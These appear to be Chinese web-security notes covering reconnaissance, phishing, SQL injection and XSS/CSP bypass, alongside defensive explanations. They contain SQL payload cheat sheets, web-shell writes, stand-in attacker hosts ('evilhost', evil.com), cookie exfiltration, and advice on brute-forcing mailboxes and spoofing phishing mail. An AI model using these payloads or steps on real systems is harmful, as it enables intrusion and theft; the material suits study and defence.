  • 探测有没有WAF,如果有,什么类型的
    • 有WAF,找绕过方式
    • 没有,进入下一步
  • 扫描敏感目录,看是否存在信息泄漏
    • 扫描之前先自己尝试几个的url,人为看看反应
  • 使用爬虫爬取网站信息
  • 拿到一定信息后,通过拿到的目录名称,文件名称及文件扩展名了解网站开发人员的命名思路,确定其命名规则,推测出更多的目录及文件名
  • 常见入口目标
    • 关注度低的系统
    • 业务线较长的系统

搜索引擎利用

恰当地使用搜索引擎(Google/Bing/Yahoo/Baidu等)可以获取目标站点的较多信息。

搜索引擎处理流程

  • 数据预处理
    • 长度截断
    • 大小写转化
    • 去标点符号
    • 简繁转换
    • 数字归一化,中文数字、阿拉伯数字、罗马字
    • 同义词改写
    • 拼音改写
  • 处理
    • 分词
    • 关键词抽取
    • 非法信息过滤

搜索技巧

  • site:www.hao123.com
    • 返回此目标站点被搜索引擎抓取收录的所有内容
  • site:www.hao123.com keyword
    • 返回此目标站点被搜索引擎抓取收录的包含此关键词的所有页面
    • 此处可以将关键词设定为网站后台,管理后台,密码修改,密码找回等
  • site:www.hao123.com inurl:admin.php
    • 返回目标站点的地址中包含admin.php的所有页面,可以使用admin.php/manage.php或者其他关键词来寻找关键功能页面
  • link:www.hao123.com
    • 返回所有包含目标站点链接的页面,其中包括其开发人员的个人博客,开发日志,或者开放这个站点的第三方公司,合作伙伴等
  • related:www.hao123.com
    • 返回所有与目标站点”相似”的页面,可能会包含一些通用程序的信息等
  • intitle:"500 Internal Server Error" "server at"
    • 搜索出错的页面
  • inurl:"nph-proxy.cgi" "Start browsing"
    • 查找代理服务器

除了以上的关键字,还有allintile / allinurl / allintext / inanchor / intext / filetype / info / numberange / cache等。

通配符
  • * 代表某一个单词
  • OR 或者 | 代表逻辑或
  • 单词前跟 + 表强制查询
  • 单词前跟 - 表排除对应关键字
  • " 强调关键字
tips
  • 查询不区分大小写
  • 括号会被忽略
  • 默认用 and 逻辑进行搜索

快照

搜索引擎的快照中也常包含一些关键信息,如程序报错信息可以会泄漏网站具体路径,或者一些快照中会保存一些测试用的测试信息,比如说某个网站在开发了后台功能模块的时候,还没给所有页面增加权限鉴别,此时被搜索引擎抓取了快照,即使后来网站增加了权限鉴别,但搜索引擎的快照中仍会保留这些信息。

另外也有专门的站点快照提供快照功能,如 Wayback Machine 和 Archive.org 等。

Github

在Github中,可能会存在源码泄露、AccessKey泄露、密码、服务器配置泄露等情况,常见的搜索技巧有:

  • @example.com password/pass/pwd/secret/credentials/token
  • @example.com username/user/key/login/ftp/
  • @example.com config/ftp/smtp/pop
  • @example.com security_credentials/connetionstring
  • @example.com JDBC/ssh2_auth_password/send_keys

社会工程学

企业信息收集

一些网站如天眼查等,可以提供企业关系挖掘、工商信息、商标专利、企业年报等信息查询,可以提供企业的较为细致的信息。

公司主站中会有业务方向、合作单位等信息。

人员信息收集

针对人员的信息收集考虑对目标重要人员、组织架构、社会关系的收集和分析。其中重要人员主要指高管、系统管理员、运维、财务、人事、业务人员的个人电脑。

人员信息收集较容易的入口点是网站,网站中可能包含网站的开发、管理维护等人员的信息。从网站联系功能中和代码的注释信息中都可能得到的所有开发及维护人员的姓名和邮件地址及其他联系方式。

在获取这些信息后,可以在Github/Linkedin等社交、招聘网站中进一步查找这些人在互联网上发布的与目标站点有关的一切信息,分析并发现有用的信息。

此外,可以对获取到的邮箱进行密码爆破的操作,获取对应的密码。

钓鱼

基于之前收集到的信息,可以使用Office/CHM/RAR/EXE等文件制作钓鱼邮件发送至目标,进一步收集信息。

其中Office可以使用Office漏洞、宏、OLE对象、PPSX等方式构造利用文件。

Exe可以使用特殊的Unicode控制字符来构建容易混淆的文件名。

如果前期信息收集获取到了运维等人员的邮箱,可以使用运维人员的邮箱发送,如果未收集到相关的信息,可以使用伪造发送源的方式发送邮件。

其他信息

公司的公众号、企业号、网站,员工的网盘、百度文库等可能会存在一些敏感信息,如VPN/堡垒机账号、TeamViewer账号、网络设备默认口令、服务器默认口令等。

常见漏洞攻防

SQL注入

注入分类

简介

SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。

按技巧分类

根据使用的技巧,SQL注入类型可分为

  • 盲注
    • 布尔盲注:只能从应用返回中推断语句执行后的布尔值
    • 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
  • 报错注入:应用会显示全部或者部分的报错信息
  • 堆叠注入:有的应用可以加入 ; 后一次执行多条语句
  • 其他
按获取数据的方式分类

另外也可以根据获取数据的方式分为3类

inband

利用Web应用来直接获取数据,如报错注入,这类注入都是通过站点的响应或者错误反馈来提取数据。

inference

通过Web的一些反映来推断数据,如布尔盲注,也就是我们通俗的盲注, 通过web应用的其他改变来推断数据。

out of band (OOB)

通过其他传输方式来获得数据,比如DNS解析协议和电子邮件。

注入检测

常见的注入点
  • GET/POST/PUT/DELETE参数
  • X-Forwarded-For
  • 文件名
Fuzz注入点
  • ' / "
  • 1/1
  • 1/0
  • and 1=1
  • " and "1"="1
  • and 1=2
  • or 1=1
  • or 1=
  • ' and '1'='1
  • + - ^ * % /
  • << >> || | & &&
  • ~
  • !
  • @
  • 反引号执行
测试用常量
  • @@version
  • @@servername
  • @@language
  • @@spid
测试列数

例如 http://www.foo.com/index.asp?id=12+union+select+null,null-- ,不断增加 null 至不返回

报错注入
  • select 1/0
  • select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a
  • extractvalue(1, concat(0x5c,(select user())))
  • updatexml(0x3a,concat(1,(select user())),1)
  • exp(~(SELECT * from(select user())a))
  • ST_LatFromGeoHash((select * from(select * from(select user())a)b))
  • GTID_SUBSET(version(), 1)
基于geometric的报错注入
  • GeometryCollection((select * from (select * from(select user())a)b))
  • polygon((select * from(select * from(select user())a)b))
  • multipoint((select * from(select * from(select user())a)b))
  • multilinestring((select * from(select * from(select user())a)b))
  • LINESTRING((select * from(select * from(select user())a)b))
  • multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f

而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。

堆叠注入
  • ;select 1
注释符
  • #
  • --+
  • /*xxx*/
  • /*!xxx*/
  • /*!50000xxx*/
判断过滤规则
  • 是否有trunc
  • 是否过滤某个字符
  • 是否过滤关键字
  • slash和编码
获取信息
  • 判断数据库类型
    • and exists (select * from msysobjects ) > 0 access数据库
    • and exists (select * from sysobjects ) > 0 SQLServer数据库
  • 判断数据库表
    • and exsits (select * from admin)
  • 版本、主机名、用户名、库名
  • 表和字段
    • 确定字段数
      • Order By
      • Select Into
    • 表名、列名
测试权限
  • 文件操作
    • 读敏感文件
    • 写shell
  • 带外通道
    • 网络请求

权限提升

UDF提权

UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。

当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。

数据库检测

MySQL
  • sleep sleep(1)
  • benchmark BENCHMARK(5000000, MD5('test'))
  • 字符串连接
    • SELECT 'a' 'b'
    • SELECT CONCAT('some','string')
  • version
    • SELECT @@version
    • SELECT version()
  • 识别用函数
    • connection_id()
    • last_insert_id()
    • row_count()
Oracle
  • 字符串连接
    • 'a'||'oracle' --
    • SELECT CONCAT('some','string')
  • version
    • SELECT banner FROM v$version
    • SELECT banner FROM v$version WHERE rownum=1
SQLServer
  • WAITFOR WAITFOR DELAY '00:00:10';
  • SERVERNAME SELECT @@SERVERNAME
  • version SELECT @@version
  • 字符串连接
    • SELECT 'some'+'string'
  • 常量
    • @@pack_received
    • @@rowcount
PostgreSQL
  • sleep pg_sleep(1)

绕过技巧

  • 编码绕过
    • 大小写
    • url编码
    • html编码
    • 十六进制编码
    • unicode编码
  • 注释
    • // -- -- + -- - # /**/ ;%00
    • 内联注释用的更多,它有一个特性 /!**/ 只有MySQL能识别
    • e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
  • 只过滤了一次时
    • union => ununionion
  • 相同功能替换
    • 函数替换
      • substring / mid / sub
      • ascii / hex / bin
      • benchmark / sleep
    • 变量替换
      • user() / @@user
    • 符号和关键字
      • and / &
      • or / |
  • HTTP参数
    • HTTP参数污染
      • id=1&id=2&id=3 根据容器不同会有不同的结果
    • HTTP分割注入
  • 缓冲区溢出
    • 一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理
  • 二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过

SQL注入小技巧

宽字节注入

一般程序员用gbk编码做开发的时候,会用 set names 'gbk' 来设定,这句话等同于

set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';

漏洞发生的原因是执行了 set character_set_client = 'gbk'; 之后,mysql就会认为客户端传过来的数据是gbk编码的,从而使用gbk去解码,而mysql_real_escape是在解码前执行的。但是直接用 set names 'gbk' 的话real_escape是不知道设置的数据的编码的,就会加 %5c 。此时server拿到数据解码 就认为提交的字符+%5c是gbk的一个字符,这样就产生漏洞了。

解决的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 mysql_set_charset('gbk') ,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。 第三种就是用pdo。

还有一些其他的编码技巧,比如latin会弃掉无效的unicode,那么admin%32在代码里面不等于admin,在数据库比较会等于admin。

CheatSheet

SQL Server Payload
常见Payload
  • Version
    • SELECT @@version
  • Comment
    • SELECT 1 -- comment
    • SELECT /*comment*/1
  • Space
    • 0x01 - 0x20
  • Current User
    • SELECT user_name()
    • SELECT system_user
    • SELECT user
    • SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
  • List User
    • SELECT name FROM master..syslogins
  • Current Database
    • SELECT DB_NAME()
  • List Database
    • SELECT name FROM master..sysdatabases
  • 执行命令
    • EXEC xp_cmdshell 'net user'
  • Ascii
    • SELECT char(0x41)
    • SELECT ascii('A')
    • SELECT char(65)+char(66) => return AB
  • Delay
    • WAITFOR DELAY '0:0:3' pause for 3 seconds
  • Change Password
    • ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'
  • Trick
    • id=1 union:select password from:user
  • 文件读取
    • OpenRowset
  • 当前查询语句
    • select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)
错误注入常用函数
  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()
MySQL Payload
常见Payload
  • Version
    • SELECT @@version
  • Comment
    • SELECT 1 -- comment
    • SELECT 1 # comment
    • SELECT /*comment*/1
  • Space
    • 0x9 0xa-0xd 0x20 0xa0
  • Current User
    • SELECT user()
    • SELECT system_user()
  • List User
    • SELECT user FROM mysql.user
  • Current Database
    • SELECT database()
  • List Database
    • SELECT schema_name FROM information_schema.schemata
  • List Tables
    • SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  • List Columns
    • SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  • If
    • SELECT if(1=1,'foo','bar'); return 'foo'
  • Ascii
    • SELECT char(0x41)
    • SELECT ascii('A')
    • SELECT 0x414243 => return ABC
  • Delay
    • sleep(1)
    • SELECT BENCHMARK(1000000,MD5('A'))
  • Read File
    • select @@datadir
    • select load_file('databasename/tablename.MYD')
  • Blind
    • ascii(substring(str,pos,length)) & 32 = 1
  • Error Based
    • select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
    • select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))
  • Change Password
    • mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"
报错注入常见函数
  • extractvalue
  • updatexml
  • GeometryCollection
  • linestring
  • multilinestring
  • multipoint
  • multipolygon
  • polygon
  • exp
写文件
写文件前提
  • root 权限
  • 知晓文件绝对路径
  • 写入的路径存在写入权限
  • secure_file_priv 允许向对应位置写入
  • select count(file_priv) from mysql.user
基于 into 写文件
union select 1,1,1 into outfile '/tmp/demo.txt'
union select 1,1,1 into dumpfile '/tmp/demo.txt'

dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏

基于 log 写文件
show variables like '%general%';
set global general_log = on;
set global general_log_file = '/path/to/file';
select '<?php var_dump("test");?>';
set global general_log_file = '/original/path';
set global general_log = off;
PostgresSQL Payload
  • Version
    • SELECT version()
  • Comment
    • SELECT 1 -- comment
    • SELECT /*comment*/1
  • Current User
    • SELECT user
    • SELECT current_user
    • SELECT session_user
    • SELECT getpgusername()
  • List User
    • SELECT usename FROM pg_user
  • Current Database
    • SELECT current_database()
  • List Database
    • SELECT datname FROM pg_database
  • Ascii
    • SELECT char(0x41)
    • SELECT ascii('A')
  • Delay
    • pg_sleep(1)
Oracle Payload
常见Payload
  • dump
    • select * from v$tablespace;
    • select * from user_tables;
    • select column_name from user_tab_columns where table_name = 'table_name';
    • select column_name, data_type from user_tab_columns where table_name = 'table_name';
    • SELECT * FROM ALL_TABLES
  • Comment
    • --
    • /**/
  • Space
    • 0x00 0x09 0xa-0xd 0x20
  • 报错
    • utl_inaddr.get_host_name
    • ctxsys.drithsx.sn
    • ctxsys.CTX_REPORT.TOKEN_TYPE
    • XMLType
    • dbms_xdb_version.checkin
    • dbms_xdb_version.makeversioned
    • dbms_xdb_version.uncheckout
    • dbms_utility.sqlid_to_sqlhash
    • ordsys.ord_dicom.getmappingxpath
    • utl_inaddr.get_host_name
    • utl_inaddr.get_host_address
  • OOB
    • utl_http.request
    • utl_inaddr.get_host_address
    • SYS.DBMS_LDAP.INIT
    • HTTPURITYPE
    • HTTP_URITYPE.GETCLOB
  • 绕过
    • rawtohex
写文件
create or replace directory TEST_DIR as '/path/to/dir';
grant read, write on directory TEST_DIR to system;
declare
   isto_file utl_file.file_type;
begin
   isto_file := utl_file.fopen('TEST_DIR', 'test.jsp', 'W');
   utl_file.put_line(isto_file, '<% out.println("test"); %>');
   utl_file.fflush(isto_file);
   utl_file.fclose(isto_file);
end;
SQLite3 Payload
  • Comment
    • --
    • /**/
  • Version
    • select sqlite_version();

Command Execution

ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--

Load_extension

UNION SELECT 1,load_extension('\\evilhost\evil.dll','E');--

预编译

简介

SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。

模拟预编译

为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。

绕过
预编译使用错误

预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。

部分参数不可预编译

在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。

预编译实现错误

部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。

XSS

分类

简介

XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。

反射型XSS

反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:<?php echo "<p>hello, $_GET['user']</p>";?> ,那么在访问时设置 /?user=</p><script>alert("hack")</script><p> ,则可执行预设好的JavaScript代码。

反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。

储存型XSS

储存型XSS相比反射型来说危害较大,在这种漏洞中,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击。

DOM XSS

DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。

例如

<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
    var str = document.getElementById("input").value;
    document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>

输入 x' onerror='javascript:alert(/xss/) 即可触发。

Blind XSS

Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。 它被称为Blind的原因是因为它通常发生在通常不暴露给用户的功能上。

危害

存在XSS漏洞时,可能会导致以下几种情况:

  1. 用户的Cookie被获取,其中可能存在Session ID等敏感信息。若服务器端没有做相应防护,攻击者可用对应Cookie登陆服务器。
  2. 攻击者能够在一定限度内记录用户的键盘输入。
  3. 攻击者通过CSRF等方式以用户身份执行危险操作。
  4. XSS蠕虫。
  5. 获取用户浏览器信息。
  6. 利用XSS漏洞扫描用户内网。

同源策略

简介

同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源。

file域的同源策略

在之前的浏览器中,任意两个file域的URI被认为是同源的。本地磁盘上的任何HTML文件都可以读取本地磁盘上的任何其他文件。

从Gecko 1.9开始,文件使用了更细致的同源策略,只有当源文件的父目录是目标文件的祖先目录时,文件才能读取另一个文件。

Flash/SilverLight跨域

浏览器的各种插件也存在跨域需求。通常是通过在服务器配置crossdomain.xml,设置本服务允许哪些域名的跨域访问。

客户端会请求此文件,如果发现自己的域名在访问列表里,就发起真正的请求,否则不发送请求。

源的更改

同源策略认为域和子域属于不同的域,例如 child1.a.coma.com / child1.a.comchild2.a.com / xxx.child1.a.comchild1.a.com 两两不同源。

对于这种情况,可以在两个方面各自设置 document.domain='a.com' 来改变其源来实现以上任意两个页面之间的通信。

另外因为浏览器单独保存端口号,这种赋值会导致端口号被重写为 null

跨源访问

同源策略控制了不同源之间的交互,这些交互通常分为三类:

  • 通常允许跨域写操作(Cross-origin writes)
    • 链接(links)
    • 重定向
    • 表单提交
  • 通常允许跨域资源嵌入(Cross-origin embedding)
  • 通常不允许跨域读操作(Cross-origin reads)

可能嵌入跨源的资源的一些示例有:

  • <script src="..."></script> 标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。
  • <link rel="stylesheet" href="..."> 标签嵌入CSS。由于CSS的松散的语法规则,CSS的跨域需要一个设置正确的Content-Type 消息头。
  • <img> / <video> / <audio> 嵌入多媒体资源。
  • <object> <embed><applet> 的插件。
  • @font-face 引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)。
  • <frame><iframe> 载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。
JSONP跨域

JSONP就是利用 <script> 标签的跨域能力实现跨域数据的访问,请求动态生成的JavaScript脚本同时带一个callback函数名作为参数。

服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数。

JSONP也存在一些安全问题,例如当对传入/传回参数没有做校验就直接执行返回的时候,会造成XSS问题。没有做Referer或Token校验就给出数据的时候,可能会造成数据泄露。

另外JSONP在没有设置callback函数的白名单情况下,可以合法的做一些设计之外的函数调用,引入问题。这种攻击也被称为SOME攻击。

跨源脚本API访问

Javascript的APIs中,如 iframe.contentWindow , window.parent, window.openwindow.opener 允许文档间相互引用。当两个文档的源不同时,这些引用方式将对 windowlocation 对象的访问添加限制。

window 允许跨源访问的方法有

  • window.blur
  • window.close
  • window.focus
  • window.postMessage

window 允许跨源访问的属性有

  • window.closed
  • window.frames
  • window.length
  • window.location
  • window.opener
  • window.parent
  • window.self
  • window.top
  • window.window

其中 window.location 允许读/写,其他的属性只允许读

跨源数据存储访问

存储在浏览器中的数据,如 localStorageIndexedDB,以源进行分割。每个源都拥有自己单独的存储空间,一个源中的Javascript脚本不能对属于其它源的数据进行读写操作。

CORS

CORS是一个W3C标准,全称是跨域资源共享(Cross-origin resource sharing)。通过这个标准,可以允许浏览器读取跨域的资源。

常见请求头
  • Origin
    • 预检请求或实际请求的源站URI, 浏览器请求默认会发送该字段
    • Origin: <origin>
  • Access-Control-Request-Method
    • 声明请求使用的方法
    • Access-Control-Request-Method: <method>
  • Access-Control-Request-Headers
    • 声明请求使用的header字段
    • Access-Control-Request-Headers: <field-name>[, <field-name>]*
常见返回头
  • Access-Control-Allow-Origin
    • 声明允许访问的源外域URI
    • 对于携带身份凭证的请求不可使用通配符 *
    • Access-Control-Allow-Origin: <origin> | *
  • Access-Control-Expose-Headers
    • 声明允许暴露的头
    • e.g. Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
  • Access-Control-Max-Age
    • 声明Cache时间
    • Access-Control-Max-Age: <delta-seconds>
  • Access-Control-Allow-Credentials
    • 声明是否允许在请求中带入
    • Access-Control-Allow-Credentials: true
  • Access-Control-Allow-Methods
    • 声明允许的访问方式
    • Access-Control-Allow-Methods: <method>[, <method>]*
  • Access-Control-Allow-Headers
    • 声明允许的头
    • Access-Control-Allow-Headers: <field-name>[, <field-name>]*
防御建议
  • 如非必要不开启CORS
  • 定义详细的白名单,不使用通配符,仅配置所需要的头
  • 配置 Vary: Origin 头部
  • 如非必要不使用 Access-Control-Allow-Credentials
  • 限制缓存的时间
阻止跨源访问

阻止跨域写操作,可以检测请求中的 CSRF token ,这个标记被称为Cross-Site Request Forgery (CSRF) 标记。

阻止资源的跨站读取,因为嵌入资源通常会暴露信息,需要保证资源是不可嵌入的。但是多数情况下浏览器都不会遵守 Content-Type 消息头。例如如果在HTML文档中指定 <script> 标记,则浏览器会尝试将HTML解析为JavaScript。

CSP

CSP是什么?

Content Security Policy,简称 CSP,译作内容安全策略。顾名思义,这个规范与内容安全有关,主要是用来定义哪些资源可以被当前页面加载,减少 XSS 的发生。

配置

CSP策略可以通过 HTTP 头信息或者 meta 元素定义。

CSP 有三类:

  • Content-Security-Policy (Google Chrome)
  • X-Content-Security-Policy (Firefox)
  • X-WebKit-CSP (WebKit-based browsers, e.g. Safari)
HTTP header :
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略

HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。

HTML Meta :

<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">
指令说明
指令 说明
default-src 定义资源默认加载策略
connect-src 定义 Ajax、WebSocket 等加载策略
font-src 定义 Font 加载策略
frame-src 定义 Frame 加载策略
img-src 定义图片加载策略
media-src 定义 <audio>、<video> 等引用资源加载策略
object-src 定义 <applet>、<embed>、<object> 等引用资源加载策略
script-src 定义 JS 加载策略
style-src 定义 CSS 加载策略
base-uri 定义 <base> 根URL策略,不使用default-src作为默认值
sandbox 值为 allow-forms,对资源启用 sandbox
report-uri 值为 /report-uri,提交日志
关键字
  • -
    • 允许从任意url加载,除了 data: blob: filesystem: schemes
    • e.g. img-src -
  • none
    • 禁止从任何url加载资源
    • e.g. object-src 'none'
  • self
    • 只可以加载同源资源
    • e.g. img-src 'self'
  • data:
    • 可以通过data协议加载资源
    • e.g. img-src 'self' data:
  • domain.example.com
    • e.g. img-src domain.example.com
    • 只可以从特定的域加载资源
  • \*.example.com
    • e.g. img-src \*.example.com
    • 可以从任意example.com的子域处加载资源
  • https://cdn.com
    • e.g. img-src https://cdn.com
    • 只能从给定的域用https加载资源
  • https:
    • e.g. img-src https:
    • 只能从任意域用https加载资源
  • unsafe-inline
    • 允许内部资源执行代码例如style attribute,onclick或者是sicript标签
    • e.g. script-src 'unsafe-inline'
  • unsafe-eval
    • 允许一些不安全的代码执行方式,例如js的eval()
    • e.g. script-src 'unsafe-eval'
  • nonce-<base64-value>'
    • 使用随机的nonce,允许加载标签上nonce属性匹配的标签
    • e.g. script-src 'nonce-bm9uY2U='
  • <hash-algo>-<base64-value>'
    • 允许hash值匹配的代码块被执行
    • e.g. script-src 'sha256-<base64-value>'
配置范例

允许执行内联 JS 代码,但不允许加载外部资源

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
Bypass
预加载

浏览器为了增强用户体验,让浏览器更有效率,就有一个预加载的功能,大体是利用浏览器空闲时间去加载指定的内容,然后缓存起来。这个技术又细分为DNS-prefetch、subresource、prefetch、preconnect、prerender。

HTML5页面预加载是用link标签的rel属性来指定的。如果csp头有unsafe-inline,则用预加载的方式可以向外界发出请求,例如

<!-- 预加载某个页面 -->
<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<!-- 预加载某个图片 -->
<link rel='prefetch' href='http://xxxx/x.jpg'>
<!-- DNS 预解析 -->
<link rel="dns-prefetch" href="http://xxxx">
<!-- 特定文件类型预加载 -->
<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->

另外,不是所有的页面都能够被预加载,当资源类型如下时,讲阻止预加载操作:

  • URL中包含下载资源
  • 页面中包含音频、视频
  • POST、PUT和DELET操作的ajax请求
  • HTTP认证
  • HTTPS页面
  • 含恶意软件的页面
  • 弹窗页面
  • 占用资源很多的页面
  • 打开了chrome developer tools开发工具
MIME Sniff

举例来说,csp禁止跨站读取脚本,但是可以跨站读img,那么传一个含有脚本的img,再``<script href='http://xxx.com/xx.jpg'>``,这里csp认为是一个img,绕过了检查,如果网站没有回正确的mime type,浏览器会进行猜测,就可能加载该img作为脚本

302跳转

对于302跳转绕过CSP而言,实际上有以下几点限制:

  • 跳板必须在允许的域内。
  • 要加载的文件的host部分必须跟允许的域的host部分一致
iframe

当可以执行代码时,可以创建一个源为 css js 等静态文件的frame,在配置不当时,该frame并不存在csp,则在该frame下再次创建frame,达到bypass的目的。同理,使用 ../../../ /%2e%2e%2f 等可能触发服务器报错的链接也可以到达相应的目的。

base-uri

当script-src为nonce或无限制,且base-uri无限制时,可通过 base 标签修改根URL来bypass,如下加载了http://evil.com/main.js

<base href="http://evil.com/">
<script nonce="correct value" src="/main.js"></script>
其他
  • location 绕过

  • 可上传SVG时,通过恶意SVG绕过同源站点

  • 存在CRLF漏洞且可控点在CSP上方时,可以注入HTTP响应中影响CSP解析

  • CND Bypass,如果网站信任了某个CDN, 那么可利用相应CDN的静态资源bypass

  • Angular versions <1.5.9 >=1.5.0,存在漏洞 Git Pull Request

  • jQuery sourcemap
    document.write(`<script>
    //@        sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);``
    
  • a标签的ping属性

  • For FireFox <META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cnKTs8L3NjcmlwdD4=">

  • <link rel="import" />

  • <meta http-equiv="refresh" content="0; url=http://...." />

  • 仅限制 script-src 时:
    • <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

XSS数据源

URL
  • location
  • location.href
  • location.pathname
  • location.search
  • location.hash
  • document.URL
  • document.documentURI
  • document.baseURI
Communication
  • Ajax
  • Fetch
  • WebSocket
  • PostMessage
Storage
  • Cookie
  • LocalStorage
  • SessionStorage

Sink

执行JavaScript
  • eval(payload)
  • setTimeout(payload, 100)
  • setInterval(payload, 100)
  • Function(payload)()
  • <script>payload</script>
  • <img src=x onerror=payload>
加载URL
  • location=javascript:alert(/xss/)
  • location.href=javascript:alert(/xss/)
  • location.assign(javascript:alert(/xss/))
  • location.replace(javascript:alert(/xss/))
执行HTML
  • xx.innerHTML=payload
  • xx.outerHTML=payload
  • document.write(payload)
  • document.writeln(payload)

XSS保护

HTML过滤

使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果。例如DOMPurify等工具都是用该方式实现了XSS的保护。

X-Frame

X-Frame-Options 响应头有三个可选的值:

  • DENY
    • 页面不能被嵌入到任何iframe或frame中
  • SAMEORIGIN
    • 页面只能被本站页面嵌入到iframe或者frame中
  • ALLOW-FROM
    • 页面允许frame或frame加载
XSS保护头

基于 Webkit 内核的浏览器(比如Chrome)在特定版本范围内有一个名为XSS auditor的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来。

而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置。

要设置浏览器的防护机制,则可使用X-XSS-Protection字段 该字段有三个可选的值

  • 0 : 表示关闭浏览器的XSS防护机制
  • 1 : 删除检测到的恶意代码, 如果响应报文中没有看到 X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置
  • 1; mode=block : 如果检测到恶意代码,在不渲染恶意代码

FireFox没有相关的保护机制,如果需要保护,可使用NoScript等相关插件。

WAF Bypass

  • 利用<>标记
  • 利用html属性
    • href
    • lowsrc
    • bgsound
    • background
    • value
    • action
    • dynsrc
  • 关键字
    • 利用回车拆分
    • 字符串拼接
      • window["al" + "ert"]
  • 利用编码绕过
    • base64
    • jsfuck
    • String.fromCharCode
    • HTML
    • URL
    • hex
